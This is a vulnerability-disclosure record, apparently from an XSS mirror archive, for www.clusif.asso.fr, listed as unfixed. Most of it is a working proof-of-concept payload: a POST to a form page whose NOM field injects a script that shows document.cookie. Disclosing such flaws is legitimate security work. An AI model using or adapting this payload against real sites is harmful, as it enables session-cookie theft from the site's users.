Security researcher PAul, has submitted on 27/10/2010 a cross-site-scripting (XSS) vulnerability affecting www.clusif.asso.fr, which at the time of submission ranked 819724 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 13/01/2012. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
| Date submitted: 27/10/2010 |
Date published: 13/01/2012 |
Fixed? Mail us! | Status:  UNFIXED |
| Author: PAul |
Domain: www.clusif.asso.fr |
Category: XSS |
Pagerank: 819724 |
|---|
| URL: https://www.clusif.asso.fr/fr/demacces.asp |
| POST: NOM="></td></tr><script>alert(document.cookie)</script>&PRENOM=&SOCIETE=&e-mail=&TELEPHONE=&charte=% 09%09CHARTE+D%27UTILISATION%0D%0A%0D%0APartie+g%E9n%E9rale%0D%0A%0D%0A%0D%0ADROIT+D%27AUTEUR+-+COPYR IGHT+%0D%0A%0D%0AL%27ensemble+de+ce+site+rel%E8ve+de+la+l%E9gislation+fran%E7aise+et+internationale+ sur+le+droit+d%27auteur+et+la+propri%E9t%E9+intellectuelle.+Tous+les+droits+de+reproduction+sont+r%E 9serv%E9s%2C+y+compris+pour+les+documents+t%E9l%E9chargeables+et+les+repr%E9sentations+iconographiqu es+et+photographiques.+%0D%0ALa+reproduction+de+tout+ou+partie+de+ce+site+sur+un+support+%E9lectroni que+quel+qu%27il+soit+est+formellement+interdite+sauf+autorisation+expresse+du+directeur+de+la+publi cation.+%0D%0ALa+reproduction+des+textes+de+ce+site+sur+un+support+papier+est+autoris%E9e%2C+tout+pa rticuli%E8rement+dans+le+cadre+p%E9dagogique%2C+sous+r%E9serve+du+respect+des+trois+conditions+suiva ntes+%3A+%0D%0A-+gratuit%E9+de+la+diffusion%2C+%0D%0A-+respect+de+l%27int%E9grit%E9+des+documents+re produits+%3A+pas+de+modification+ni+alt%E9ration+d%27aucune+sorte%2C+%0D%0A-+citation+claire+et+lisi ble+de+la+source+sous+la+forme+suivante+-+par+exemple+-+%3A+%22ce+document+provient+du+site+Internet +du+Club+de+la+S%E9curit%E9+de+l%27Information+Fran%E7ais+%28CLUSIF%29+%3A+http%3A%2F%2Fwww.clusif.a sso.fr.+Les+droits+de+reproduction+sont+r%E9serv%E9s+et+strictement+limit%E9s%22.+L%27adresse+intern et+du+site+du+CLUSIF+doit+imp%E9rativement+figurer+dans+la+r%E9f%E9rence.+%0D%0APour+d%27autres+util isations%2C+veuillez+nous+consulter.+%0D%0ALes+marques+cit%E9es+sur+ce+site+sont+d%E9pos%E9es+par+le s+soci%E9t%E9s+qui+en+sont+propri%E9taires.+%0D%0A%0D%0A%0D%0ACOMMANDES+DE+DOCUMENTATIONS+%0D%0A%0D% 0ALes+informations+qui+vous+sont+demand%E9es+lors+de+la+commande+de+documentations+sont+indispensabl es+pour+l%27exp%E9dition+de+ces+documents.+Ces+informations+ont+pour+seul+destinataire+le+service+ad ministratif+du+CLUSIF%2C+aupr%E8s+duquel+peuvent+s%27exercer+les+droits+d%27acc%E8s+et+de+rectificat ion.+%0D%0A%0D%0A%0D%0ADOSSIERS+TELECHARGEABLES+%0D%0A%0D%0ATous+les+documents+de+cette+rubrique+%3A +%28c%29+CLUSIF+-+2000+-+Tous+droits+de+reproduction+r%E9serv%E9s.+Les+documents+diffus%E9s+en+versi on+%E9lectronique+sur+ce+site+ont+fait+l%27objet+de+nombreuses+relectures+de+notre+part+mais+peuvent +encore+contenir+des+erreurs.+Si+vous+en+constatez%2C+n%27h%E9sitez+pas+%E0+nous+le+faire+savoir+en+ contactant+le+webmaster.+Nous+proc%E9derons+imm%E9diatement+aux+rectifications+correspondantes.+Les+ textes+diffus%E9s+peuvent%2C+par+ailleurs%2C+avoir+fait+l%27objet+de+mise+%E0+jour+entre+le+moment+o %F9+vous+les+avez+t%E9l%E9charg%E9s+et+celui+o%F9+vous+en+prenez+connaissance.+%0D%0A%0D%0A%0D%0AFIC HIERS+PDF+%0D%0A%0D%0APour+lire+un+fichier+PDF%2C+vous+avez+besoin+du+logiciel+Acrobat+Reader+.+%0D% 0AT%E9l%E9chargez+Acrobat+Reader+%2C+derni%E8re+version+en+fran%E7ais.+%0D%0AAttention+%3A+cette+op% E9ration+de+t%E9l%E9chargement+ne+peut+s%27op%E9rer+que+depuis+un+autre+site+que+celui+du+CLUSIF.+Ce +site+vous+proposera%2C+%E0+cette+occasion%2C+de+remplir+un+questionnaire+nominatif.+Si+vous+ne+souh aitez+pas+livrer+vos+noms+et+adresse%2C+passez+directement+%E0+l%27%E9tape+n%B0+2+pour+t%E9l%E9charg er+directement+et+gratuitement+le+logiciel.+%09%0D%0A%09%0D%0A%0D%0AAVERTISSEMENTS%0D%0A%0D%0APartie +priv%E9e%0D%0A%0D%0AMESSAGERIE+%0D%0A%0D%0ALes+messages+que+vous+nous+ferez+parvenir+par+l%27interm %E9diaire+d%27Internet+peuvent+%EAtre+intercept%E9s+sur+le+r%E9seau.+Jusqu%27%E0+ce+qu%27ils+nous+pa rviennent%2C+leur+confidentialit%E9+ne+peut+%EAtre+garantie.+Assurez-vous+de+ne+pas+divulguer+d%27in formations+personnelles+inutiles+ou+sensibles.+De+plus%2C+l%27indication+de+la+provenance+des+messag es+%E9lectroniques+que+nous+recevons+peut+%EAtre+falsifi%E9e.+Par+cons%E9quent%2C+si+vous+souhaitez+ nous+communiquer+de+telles+informations%2C+utilisez+imp%E9rativement+la+voie+postale.+N%27utilisez+l es+adresses+de+messagerie+du+CLUSIF+que+pour+des+remarques+d%27ordre+technique.+%0D%0A%0D%0AARCHIVAG E+%0D%0A%0D%0ALes+messages+%E9lectroniques+envoy%E9s+au+Webmaster+sont+conserv%E9s+pendant+la+dur%E9 e+de+leur+traitement%2C+c%27est-%E0-dire+environ+1+mois+en+cas+d%27%E9change+de+courrier+%E9lectroni que+ou+quelques+jours+pour+une+simple+prise+en+compte.+Les+droits+d%27acc%E8s+et+de+rectification+s% 27exercent+aupr%E8s+du+service+administratif.+%0D%0A%0D%0ADROIT+D%27AUTEUR+-+COPYRIGHT+%0D%0A%0D%0AL %27ensemble+de+la+partie+priv%E9e+de+ce+site+rel%E8ve+de+la+l%E9gislation+fran%E7aise+et+internation ale+sur+le+droit+d%27auteur+et+la+propri%E9t%E9+intellectuelle.+Tous+les+droits+de+reproduction+sont +r%E9serv%E9s%2C+y+compris+pour+les+documents+t%E9l%E9chargeables+et+les+repr%E9sentations+iconograp hiques+et+photographiques.+En+outre%2C+la+partie+priv%E9e+de+ce+site+sert+%E0+des+%E9changes+entre+l es+membres+et+au+support+de+contributions+r%E9serv%E9es.+La+reproduction+de+tout+ou+partie+de+ce+sit e+sur+un+support+%E9lectronique+ou+un+support+papier%2C+la+divulgation+sous+quelque+forme+que+ce+soi t+des+informations+qui+y+sont+%E9chang%E9es+est+formellement+soumise+%E0+l%27autorisation+expresse+d u+directeur+de+la+publication+ou+de+l%27auteur+de+la+contribution.+%0D%0A%0D%0A%09%09%09&action=Je+m %27engage+%E0+respecter+la+charte+d%27utilisation |
|
Click here to view the mirror
|
|
|
| 
